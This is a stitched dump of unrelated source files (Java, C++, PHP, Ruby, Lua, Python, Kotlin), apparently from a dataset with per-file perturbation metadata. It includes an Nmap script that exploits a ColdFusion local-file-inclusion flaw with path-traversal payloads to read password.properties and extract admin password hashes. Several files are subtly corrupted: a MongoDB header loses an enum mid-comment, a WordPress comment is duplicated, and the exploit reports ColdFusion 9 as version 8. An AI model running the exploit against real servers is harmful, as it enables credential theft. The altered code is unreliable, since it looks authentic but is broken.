public void testCtorWithNullClassLoader() {
assertThatIllegalArgumentException().isThrownBy(() ->
new ReflectiveLoadTimeWeaver(null));
}
@Test
public void testCtorWithClassLoaderThatDoesNotExposeAnAddTransformerMethod() {
assertThatIllegalStateException().isThrownBy(() ->
new ReflectiveLoadTimeWeaver(getClass().getClassLoader()));
}
@Test
public void testCtorWithClassLoaderThatDoesNotExposeAGetThrowawayClassLoaderMethodIsOkay() {
JustAddTransformerClassLoader classLoader = new JustAddTransformerClassLoader();
ReflectiveLoadTimeWeaver weaver = new ReflectiveLoadTimeWeaver(classLoader);
weaver.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
return "CAFEDEAD".getBytes();
}
});
assertThat(classLoader.getNumTimesGetThrowawayClassLoaderCalled()).isEqualTo(1);
}
@Test
public void testAddTransformerWithNullTransformer() {
assertThatIllegalArgumentException().isThrownBy(() ->
new ReflectiveLoadTimeWeaver(new JustAddTransformerClassLoader()).addTransformer(null));
}
@Test
public void testGetThrowawayClassLoaderWithClassLoaderThatDoesNotExposeAGetThrowawayClassLoaderMethodYieldsFallbackClassLoader() {
ReflectiveLoadTimeWeaver weaver = new ReflectiveLoadTimeWeaver(new JustAddTransformerClassLoader());
ClassLoader throwawayClassLoader = weaver.getThrowawayClassLoader();
assertThat(throwawayClassLoader).isNotNull();
}
@Test
public void testGetThrowawayClassLoaderWithTotallyCompliantClassLoader() {
TotallyCompliantClassLoader classLoader = new TotallyCompliantClassLoader();
ReflectiveLoadTimeWeaver weaver = new ReflectiveLoadTimeWeaver(classLoader);
ClassLoader throwawayClassLoader = weaver.getThrowawayClassLoader();
assertThat(throwawayClassLoader).isNotNull();
assertThat(classLoader.getNumTimesGetThrowawayClassLoaderCalled()).isEqualTo(1);
}
public static class JustAddTransformerClassLoader extends ClassLoader {
private int numTimesAddTransformerCalled = 0;
public int getNumTimesGetThrowawayClassLoaderCalled() {
return this.numTimesAddTransformerCalled;
}
public void addTransformer(ClassFileTransformer transformer) {
++this.numTimesAddTransformerCalled;
}
}
public static final class TotallyCompliantClassLoader extends JustAddTransformerClassLoader {
private int numTimesGetThrowawayClassLoaderCalled = 0;
@Override
public int getNumTimesGetThrowawayClassLoaderCalled() {
return this.numTimesGetThrowawayClassLoaderCalled;
}
public ClassLoader getThrowawayClassLoader() {
++this.numTimesGetThrowawayClassLoaderCalled;
return getClass().getClassLoader();
}
}
}
| null | 2
|
{
"advantage_score_max": 2.9825334548950195,
"advantage_score_mean": 2.3927435874938965,
"advantage_score_min": 1.8029534816741943,
"advantage_score_std": 0.5897899866104126,
"advantage_scores": [
2.9825334548950195,
1.8029534816741943
],
"baseline_doc_loss": 0.4631023705005646,
"baseline_truncated": false,
"doc_advantage_score": 1.088768482208252,
"length_change_ratio": 0.9844789356984479,
"net_length_change_chars": -7,
"original_sentences_length_chars": 451,
"replacement_paraphrases_length_chars": 444,
"sentences_perturbed": 2,
"target_doc_loss": 0.42534512281417847,
"target_truncated": false,
"threshold_passing_sentences": 2,
"total_doc_length_chars": 3974,
"total_sentences": 6,
"truncated": false
}
|
/**
* Copyright (C) 2015 MongoDB Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License, version 3,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
As a special exception, the copyright holders grant permission to link portions of this program with the OpenSSL library under certain conditions described in each source file and to distribute combined works including this program and the OpenSSL library. You
* must comply with the GNU Affero General Public License in all respects for
* all of the code used other than as permitted herein. If you modify file(s)
* with this exception, you may extend this exception to your version of the
* file(s), but you are not obligated to do so. If you do not wish to do so,
* delete this exception statement from your version. If you delete this
* exception statement from all source files in the program, then also delete
* it in the license file.
*/
#pragma once
#include <string>
namespace mongo {
namespace unicode {
/**
* There are currently two options supported for the delimiter list. The only difference between the
* English and NotEnglish modes is that in English, the apostrophe is considered a delimiter, while
* in NotEnglish, it is not.
*/
enum class DelimiterListLanguage {
kEnglish,
kNotEnglish,
};
/**
* There are currently two Case folding modes supported. The only difference between the Normal mode
* and the Turkish mode is that in the Turkish mode, the letter I is lowercased to ı, and the letter
* İ is lowercased to i. In the normal mode, the letter I is lowercased to i, and the letter İ is not mapped to any other character.ish,
};
/**
* Returns whether or not the given codepoint is a diacritic. In 'D' normalized Unicode text,
* diacritics are removed by removing characters with these codepoints.
*/
bool codepointIsDiacritic(char32_t codepoint);
/**
* Returns whether or not the given codepoint is considered a delimiter in the language 'lang'.
* Currently, there is only a difference between English and non-English languages (the apostrophe).
* To see which Unicode character categories were considered delimiters, see gen_delimiter_list.py.
*/
bool codepointIsDelimiter(char32_t codepoint, DelimiterListLanguage lang);
/**
* Return a version of the given codepoint without any diacritics. These mappings are generated by
* taking all of the characters within a set of Unicode code blocks (see gen_diacritic_map.py to see
* which code blocks are used), decomposing them to the NFD normalization form, removing any
* combining marks, and renormalizing them to the NFC form. The result is a mapping from original
* codepoint to a codepoint with no diacritics.
*
* Returns 0 if codepoint is a pure diacritic mark (ie if codepointIsDiacritic() would return true).
* You will need to distinguish this case from the input codepoint being 0 either by explicit
* checking or avoiding a call to this function if codepoint is in the ASCII range (<0x80).
*/
char32_t codepointRemoveDiacritics(char32_t codepoint);
/**
* Return the lowercased version of the given codepoint, applying the special Turkish version of
* case folding if specified.
*/
char32_t codepointToLower(char32_t codepoint, CaseFoldMode mode = CaseFoldMode::kNormal);
} // namespace unicode
} // namespace mongo
| null | 2
|
{
"advantage_score_max": 7.381240367889404,
"advantage_score_mean": 2.6072232723236084,
"advantage_score_min": 1.1059650182724,
"advantage_score_std": 2.2024343013763428,
"advantage_scores": [
7.381240367889404,
2.561561346054077,
2.156402349472046,
1.2263230085372925,
1.2118480205535889,
1.1059650182724
],
"baseline_doc_loss": 0.9242335557937622,
"baseline_truncated": false,
"doc_advantage_score": 1.002585530281067,
"length_change_ratio": 0.7848101265822784,
"net_length_change_chars": -85,
"original_sentences_length_chars": 395,
"replacement_paraphrases_length_chars": 310,
"sentences_perturbed": 2,
"target_doc_loss": 0.9218500852584839,
"target_truncated": false,
"threshold_passing_sentences": 6,
"total_doc_length_chars": 3934,
"total_sentences": 27,
"truncated": false
}
|
<?php
/**
* WordPress Core Ajax Handlers.
*
* @package WordPress
* @subpackage Administration
*/
/*
* No-privilege Ajax handlers.
*/
/**
* Heartbeat API (experimental)
*
* Runs when the user is not logged in.
*/
function wp_ajax_nopriv_heartbeat() {
$response = array();
// screen_id is the same as $current_screen->id and the JS global 'pagenow'
if ( ! empty($_POST['screen_id']) )
$screen_id = sanitize_key($_POST['screen_id']);
else
$screen_id = 'front';
if ( ! empty($_POST['data']) ) {
$data = wp_unslash( (array) $_POST['data'] );
/**
* Filter Heartbeat AJAX response in no-privilege environments.
*
* @since 3.6.0
*
* @param array|object $response The no-priv Heartbeat response object or array.
* @param array $data An array of data passed via $_POST.
* @param string $screen_id The screen id.
*/
$response = apply_filters( 'heartbeat_nopriv_received', $response, $data, $screen_id );
}
/**
* Filter Heartbeat AJAX response when no data is passed.
*
* @since 3.6.0
*
* @param array|object $response The Heartbeat response object or array.
* @param string $screen_id The screen id.
*/
$response = apply_filters( 'heartbeat_nopriv_send', $response, $screen_id );
/**
* Fires when Heartbeat ticks in no-privilege environments.
*
* Allows the transport to be easily replaced with long-polling.
Allows the transport method to be easily switched to long-polling if needed.
* @param string $screen_id The screen id.
*/
do_action( 'heartbeat_nopriv_tick', $response, $screen_id );
// send the current time according to the server
$response['server_time'] = time();
wp_send_json($response);
}
/*
* GET-based Ajax handlers.
*/
function wp_ajax_fetch_list() {
global $wp_list_table;
$list_class = $_GET['list_args']['class'];
check_ajax_referer( "fetch-list-$list_class", '_ajax_fetch_list_nonce' );
$wp_list_table = _get_list_table( $list_class, array( 'screen' => $_GET['list_args']['screen']['id'] ) );
if ( ! $wp_list_table )
wp_die( 0 );
if ( ! $wp_list_table->ajax_user_can() )
wp_die( -1 );
$wp_list_table->ajax_response();
wp_die( 0 );
}
function wp_ajax_ajax_tag_search() {
global $wpdb;
if ( isset( $_GET['tax'] ) ) {
$taxonomy = sanitize_key( $_GET['tax'] );
$tax = get_taxonomy( $taxonomy );
if ( ! $tax )
wp_die( 0 );
if ( ! current_user_can( $tax->cap->assign_terms ) )
wp_die( -1 );
} else {
wp_die( 0 );
}
$s = wp_unslash( $_GET['q'] );
$comma = _x( ',', 'tag delimiter' );
if ( ',' !== $comma )
$s = str_replace( $comma, ',', $s );
if ( false !== strpos( $s, ',' ) ) {
$s = explode( ',', $s );
$s = $s[count( $s ) - 1];
}
$s = trim( $s );
if ( strlen( $s ) < 2 )
wp_die(); // require 2 chars for matching
$results = get_terms( $taxonomy, array( 'name__like' => $s, 'fields' => 'names', 'hide_empty' => false ) );
echo join( $results, "\n" );
wp_die();
}
function wp_ajax_wp_compression_test() {
if ( !current_user_can( 'manage_options' ) )
wp_die( -1 );
if ( ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') ) {
update_site_option('can_compress_scripts', 0);
wp_die( 0 );
}
if ( isset($_GET['test']) ) {
header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
header( 'Pragma: no-cache' );
header('Content-Type: application/x-javascript; charset=UTF-8');
$force_gzip = ( defined('ENFORCE_GZIP') && ENFORCE_GZIP );
$test_str = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."';
if ( 1 == $_GET['test'] ) {
echo $test_str;
wp_die();
} elseif ( 2 == $_GET['test'] ) {
if ( !isset($_SERVER['HTTP_ACCEPT_ENCODING']) )
wp_die( -1 );
if ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) {
header('Content-Encoding: deflate');
$out = gzdeflate( $test_str, 1 );
} elseif ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && function_exists('gzencode') ) {
header('Content-Encoding: gzip');
$out = gzencode( $test_str, 1 );
} else {
wp_die( -1 );
}
echo $out;
wp_die();
} elseif ( 'no' == $_GET['test'] ) {
update_site_option('can_compress_scripts', 0);
} elseif ( 'yes' == $_GET['test'] ) {
update_site_option('can_compress_scripts', 1);
}
}
wp_die( 0 );
}
function wp_ajax_imgedit_preview() {
$post_id = intval($_GET['postid']);
| null | 1
|
{
"advantage_score_max": 6.635467052459717,
"advantage_score_mean": 2.637070655822754,
"advantage_score_min": 1.1835163831710815,
"advantage_score_std": 1.5121997594833374,
"advantage_scores": [
6.635467052459717,
2.885202169418335,
2.8234658241271973,
2.7283618450164795,
1.951355218887329,
1.8963160514831543,
1.8673902750015259,
1.7625641822814941,
1.1835163831710815
],
"baseline_doc_loss": 1.179789423942566,
"baseline_truncated": false,
"doc_advantage_score": 1.0771141052246094,
"length_change_ratio": 0.8539325842696629,
"net_length_change_chars": -13,
"original_sentences_length_chars": 89,
"replacement_paraphrases_length_chars": 76,
"sentences_perturbed": 1,
"target_doc_loss": 1.0953245162963867,
"target_truncated": false,
"threshold_passing_sentences": 9,
"total_doc_length_chars": 5647,
"total_sentences": 40,
"truncated": false
}
|
class Libgig < Formula
desc "Library for Gigasampler and DLS (Downloadable Sounds) Level 1/2 files"
homepage "https://www.linuxsampler.org/libgig/"
url "https://download.linuxsampler.org/packages/libgig-4.2.0.tar.bz2"
sha256 "16229a46138b101eb9eda042c66d2cd652b1b3c9925a7d9577d52f2282f745ff"
license "GPL-2.0"
livecheck do
url "https://download.linuxsampler.org/packages/"
regex(/href=.*?libgig[._-]v?(\d+(?:\.\d+)+)\.t/i)
end
bottle do
cellar :any
sha256 "538a70194a691a8a8bd09095736f6aba4c6de6ed4f03bed512726372e41bd7a4" => :catalina
sha256 "5b4c6358356d805ce317ed31014a8235fc79bad43a80b6c03deb63abe8bc1aac" => :mojave
sha256 "050bb14b4914d0c08e2a8c192b5254ecb77f9239b8f516022260f5356a8ab947" => :high_sierra
sha256 "6e7d4ee68ce41305b89c91b2c7e34eeb57f45c6ea5d991beb0e66aac76a5d458" => :sierra
end
depends_on "pkg-config" => :build
depends_on "libsndfile"
def install
system "./configure", "--disable-dependency-tracking",
"--disable-silent-rules",
"--prefix=#{prefix}"
system "make", "install"
end
test do
(testpath/"test.cpp").write <<~EOS
#include <libgig/gig.h>
#include <iostream>
using namespace std;
int main()
{
cout << gig::libraryName() << endl;
return 0;
}
EOS
system ENV.cxx, "test.cpp", "-L#{lib}/libgig", "-lgig", "-o", "test"
assert_match "libgig", shell_output("./test")
end
end
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
// Copyright 2009 the Sputnik authors. All rights reserved.
/**
* Check {} for automatic semicolon insertion
*
* @path ch07/7.9/S7.9_A10_T4.js
* @description Checking if execution of "({};)*1" fails
* @negative
*/
//CHECK#1
({};) * 1
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 2.00264573097229,
"baseline_truncated": false,
"doc_advantage_score": 2.154498815536499,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.9295181035995483,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 243,
"total_sentences": 3,
"truncated": false
}
|
package com.odai.architecturedemo.cats.view
import android.content.Context
import android.graphics.Rect
import android.support.v7.widget.LinearLayoutManager
import android.support.v7.widget.RecyclerView
import android.util.AttributeSet
import android.view.LayoutInflater
import android.view.View
import com.odai.architecturedemo.R
import com.odai.architecturedemo.cats.model.Cats
import com.odai.architecturedemo.cats.CatsPresenter
import com.odai.architecturedemo.favourite.model.FavouriteCats
class AndroidCatsView(context: Context, attrs: AttributeSet): CatsView, RecyclerView(context, attrs) {
override fun onFinishInflate() {
super.onFinishInflate()
layoutManager = LinearLayoutManager(context)
addItemDecoration(object : RecyclerView.ItemDecoration() {
override fun getItemOffsets(outRect: Rect, view: View, parent: RecyclerView, state: RecyclerView.State) {
outRect.top = resources.getDimensionPixelSize(R.dimen.activity_vertical_margin)
outRect.bottom = resources.getDimensionPixelSize(R.dimen.activity_vertical_margin)
}
})
}
override fun attach(listener: CatsPresenter.CatClickedListener) {
adapter = CatsAdapter(LayoutInflater.from(context), listener, Cats(emptyList()), FavouriteCats(mapOf()))
}
override fun display(cats: Cats) {
var catAdapter = adapter as CatsAdapter
catAdapter.cats = cats
catAdapter.notifyDataSetChanged()
}
override fun display(favouriteCats: FavouriteCats) {
var catAdapter = adapter as CatsAdapter
catAdapter.favouriteCats = favouriteCats
catAdapter.notifyDataSetChanged()
}
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
#!/usr/bin/env node
// This script lets us call programs as a local user rather than root.
// Usage: ./runner.js [user_name] [command] [arg1] [arg2] [arg3]
var cp = require('child_process')
exec = cp.exec,
spawn = cp.spawn,
args = process.argv,
sudo_bin = '/usr/bin/sudo';
args.shift() && args.shift();
var run_as = args.shift(),
command = args.shift();
if (!run_as || !command) {
console.log('Usage: runner.js [user_name] [command] <args>');
process.exit(1);
}
// console.log('Current uid: ' + process.getuid());
var run_command = function(command, args){
// console.log("Running " + command + " with uid " + process.getuid());
var opts = { env: process.env }
if (process.platform == 'linux' && !opts.env.DISPLAY)
opts.env.DISPLAY = ':0'; // so it uses active display
var child = spawn(command, args, opts);
child.stdout.pipe(process.stdout);
child.stderr.pipe(process.stderr);
child.on('exit', function(code){
setTimeout(function(){
process.exit(code);
}, 10)
})
process.on('SIGTERM', function(){
child.kill('SIGTERM');
})
process.on('SIGINT', function(){
child.kill('SIGINT');
})
}
var safe_escape = function(str) {
return str.replace(/[\"\`\$\|]/g, "\\$&");
}
try {
process.setuid(run_as);
// console.log('New uid: ' + process.getuid());
} catch (err) {
if (process.platform != 'win32') {
args = args.map(function(a){ return safe_escape(a); })
command = ['"' + command].concat(args).join('" "') + '"';
args = ['-n', 'su', run_as, '-c', command];
command = sudo_bin;
}
}
run_command(command, args);
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
#!/usr/bin/env python
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import setuptools
setuptools.setup(
setup_requires=['pbr'],
pbr=True)
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 0.2996838688850403,
"baseline_truncated": false,
"doc_advantage_score": 1.138687252998352,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.2631836533546448,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 650,
"total_sentences": 4,
"truncated": false
}
|
description = [[
Attempts to retrieve the version, installation path and password.properties files in vulnerable ColdFusion 9/10 installations.
This was based on the exploit 'ColdSub-Zero.pyFusion v2'.
]]
---
-- @usage nmap -sV --script http-coldfusion-subzero <target>
-- @usage nmap -p80 --script http-coldfusion-subzero --script-args basepath=/cf/ <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-coldfusion-subzero:
-- | absolute_path: C:\inetpub\wwwroot\CFIDE\adminapi\customtags
-- | version: 9
-- | password_properties: #Fri Mar 02 17:03:01 CST 2012
-- | rdspassword=
-- | password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
-- |_encrypted=true
--
-- @xmloutput
-- <script id="http-coldfusion-subzero" output="
 installation_path: C:\inetpub\wwwroot\CFIDE\adminapi\customtags
 version: 9
 password_properties: #Fri Mar 02 17:03:01 CST 2012
rdspassword=
password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
encrypted=true
"><elem key="installation_path">C:\inetpub\wwwroot\CFIDE\adminapi\customtags</elem>
-- <elem key="version">9</elem>
-- <elem key="password_properties">#Fri Mar 02 17:03:01 CST 2012
rdspassword=
password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
encrypted=true
</elem>
-- </script>
-- @args http-coldfusion-subzero.basepath Base path. Default: /.
--
---
author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit"}
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local url = require "url"
portrule = shortport.http
local PATH_PAYLOAD = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
local IMG_PAYLOAD = "CFIDE/administrator/images/loginbackground.jpg"
local LFI_PAYLOAD_FRAG_1 = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename="
local LFI_PAYLOAD_FRAG_2 = "&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
local CREDENTIALS_PAYLOADS = {"../../lib/password.properties",
'..\\..\\lib\\password.properties',
'..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\lib\\password.properties',
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\cfusion\\lib\\password.properties",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\lib\\password.properties",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\cfusion\\lib\\password.properties",
"../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
"../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties",
"../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties"}
---
-- Extracts absolute path of installation by reading the ANALIZER_DIRECTORY value from the header 'set-cookie'
--
local function get_installation_path(host, port, basepath)
local req = http.get(host, port, basepath..PATH_PAYLOAD)
if req.header['set-cookie'] then
stdnse.print_debug(1, "%s:Header 'set-cookie' detected in response.", SCRIPT_NAME)
local _, _, path = string.find(req.header['set-cookie'], "path=/, ANALYZER_DIRECTORY=(.-);path=/")
if path then
stdnse.print_debug(1, "%s: Extracted path:%s", SCRIPT_NAME, path)
return path
end
end
return nil
end
---
-- Extracts version by comparing an image with known md5 checksums
--
local function get_version(host, port, basepath)
local version = -1
local img_req = http.get(host, port, basepath..IMG_PAYLOAD)
if img_req.status == 200 then
local md5chk = stdnse.tohex(openssl.md5(img_req.body))
if md5chk == "a4c81b7a6289b2fc9b36848fa0cae83c" then
stdnse.print_debug(1, "%s:CF version 10 detected.", SCRIPT_NAME)
version = 10
elseif md5chk == "596b3fc4f1a0b818979db1cf94a82220" then
stdnse.print_debug(1, "%s:CF version 9 detected.CF version 9 detected. [INFO: ColdFusion 9 installation found based on image hash match.].", SCRIPT_NAME)
version = 8
else
stdnse.print_debug(1, "%s:Could not determine version.", SCRIPT_NAME)
version = nil
end
end
return version
end
---
-- Sends malicious payloads to exploit a LFI vulnerability and extract the credentials
local function exploit(host, port, basepath)
for i, vector in ipairs(CREDENTIALS_PAYLOADS) do
local req = http.get(host, port, basepath..LFI_PAYLOAD_FRAG_1..vector..LFI_PAYLOAD_FRAG_2)
if string.find(req.body, "encrypted=true") then
stdnse.print_debug(1, "%s: String pattern found. Exploitation worked with vector '%s'.", SCRIPT_NAME, vector)
return true, req.body
end
end
end
action = function(host, port)
local output_tab = stdnse.output_table()
local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/"
local installation_path = get_installation_path(host, port, basepath)
if installation_path then
output_tab.installation_path = url.unescape(installation_path)
end
local version_num = get_version(host, port, basepath)
if version_num then
output_tab.version = version_num
end
local status, file = exploit(host, port, basepath)
if status then
output_tab.password_properties = file
end
return output_tab
end
| null | 1
|
{
"advantage_score_max": 2.6676247119903564,
"advantage_score_mean": 2.6676247119903564,
"advantage_score_min": 2.6676247119903564,
"advantage_score_std": 0,
"advantage_scores": [
2.6676247119903564
],
"baseline_doc_loss": 1.1077665090560913,
"baseline_truncated": false,
"doc_advantage_score": 1.0307310819625854,
"length_change_ratio": 0.7692307692307693,
"net_length_change_chars": -27,
"original_sentences_length_chars": 117,
"replacement_paraphrases_length_chars": 90,
"sentences_perturbed": 1,
"target_doc_loss": 1.074738621711731,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 6032,
"total_sentences": 12,
"truncated": false
}
|
package com.pencilbox.netknight.view;
import android.widget.BaseAdapter;
/**
* Created by pencil-box on 16/6/29.
* 应用信息列表
*/
public interface IAppInfoView {
//初始化数据的回调
void onLoadAppInfoList(BaseAdapter adapter);
//添加,删除,修改后的,list回调,数据的更新在adapter里操作就可以
void onListRefresh(String msg);
/**
* 错误信息回调
* @param optionId
* @param msg
*/
void onOptionFailed(int optionId,String msg);
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
/*
MIT License
Copyright (c) 2016-2017 Florian Cäsar, Michael Plainer
For full license see LICENSE in the root directory of this project.
*/
using Sigma.Core.Handlers;
using Sigma.Core.MathAbstract;
using System;
using Sigma.Core.Utils;
namespace Sigma.Core.Training.Initialisers
{
/// <summary>
/// An initialiser that can be used to initialise any ndarray with a certain pattern (e.g. Gaussian).
/// </summary>
public interface IInitialiser
{
/// <summary>
/// The registry containing relevant parameters and information about this initialiser.
/// </summary>
IRegistry Registry { get; }
/// <summary>
/// Initialise a certain ndarray.
/// </summary>
/// <param name="array">The ndarray to initialise.</param>
/// <param name="handler">The computation handler to use.</param>
/// <param name="random">The randomiser to use (if required).</param>
void Initialise(INDArray array, IComputationHandler handler, Random random);
/// <summary>
/// Initialise a single number.
/// </summary>
/// <param name="number">The number to initialise.</param>
/// <param name="handler">The computation handler to use.</param>
/// <param name="random">The randomise to use (if required).</param>
void Initialise(INumber number, IComputationHandler handler, Random random);
}
}
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 1.1921944618225098,
"baseline_truncated": false,
"doc_advantage_score": 1.4265750646591187,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.83570396900177,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 1313,
"total_sentences": 7,
"truncated": false
}
|
RTSP/1.0 303 OK
CSeq: 0
Content-Type: text/parameters
Content-Length: 55
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
import bisect
import datetime
import json
import random
import seaborn
import numpy
import pandas
import scipy
from matplotlib import pyplot
def parse_time(t):
h, m, s = map(int, t.split(':'))
return h*60*60 + m*60 + s
sched_trips = {}
for i, line in enumerate(open('stop_times.txt')):
line = line.strip().split(',')
if i > 0:
trip_id, arr, dep, stop_id = line[:4]
if 'WKD' not in trip_id:
continue
line = trip_id.split('_')[2].split('.')[0]
key = (stop_id, line)
arr = parse_time(arr)
sched_trips.setdefault(key, []).append(arr)
for key, stops in sched_trips.iteritems():
stops.sort()
real_trips = {}
for n_lines, line in enumerate(open('log.jsons')):
for vehicle in json.loads(line.strip()):
if vehicle.get('current_status') != 1: # STOPPED_AT
continue
try:
line = vehicle['trip']['route_id'].rstrip('X') # fold express into normal
if line not in ['1', '2', '3', '4', '5', '6', 'GS', 'L', 'SI']:
print 'weird line', line
continue
if 'stop_id' in vehicle:
